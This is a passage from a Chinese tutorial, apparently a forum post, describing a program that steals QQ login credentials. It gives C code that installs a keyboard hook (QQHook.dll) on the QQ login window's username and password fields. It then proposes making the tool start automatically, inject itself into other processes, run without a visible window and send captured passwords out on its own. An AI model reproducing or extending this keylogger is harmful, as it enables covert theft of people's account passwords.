(六) 申明导出函数
(七) 安装钩子
上面只是提供了一个安装钩子的函数,还没有真正进行安装,接下来才是真正开始安装钩子。
//用户名、密码、登陆按钮的句柄都不为空时安装钩子
if(hUserName != NULL &&
hUserPwd != NULL &&
hLoginButton != NULL)
{
//得到DLL模块的句柄
hDll = GetModuleHandle("QQHook.dll");
if(hDll == NULL)
{
return FALSE;
}
//安装键盘钩子
bKeyBoardHook = SetKeyBoardHook(
TRUE,
hDll,
hLoginWindow,
hUserName,
hUserPwd,
hLoginButton,
dwCreateWindowProcessID);
if(bKeyBoardHook == FALSE)
{
printf("调用键盘钩子失败!");
return FALSE;
}
}
以上就是盗QQ程序的关键代码了,打开QQ登陆框,然后运行主程序QQSpy.exe,接下来输用户名和密码并回车,即会弹出窗口显示用户名和密码。本程序还可以进行如下改进:
1. 改进记录密码的代码。
2. 加入对鼠标点击“登录QQ”进行HOOK的代码。
3. 设置成自动启动。
4. 注入到别的进程中。
5. 运行的时候没有界面,记录下来后自动发送密码。
由于本人初学c/c++不久,所以写这个程序的时候感觉很吃力,幸好我的朋友们在我有困难的时候总能给我或多或少的帮助,在此要感谢他们,特别要感谢兰陵笑笑生给我提供思路。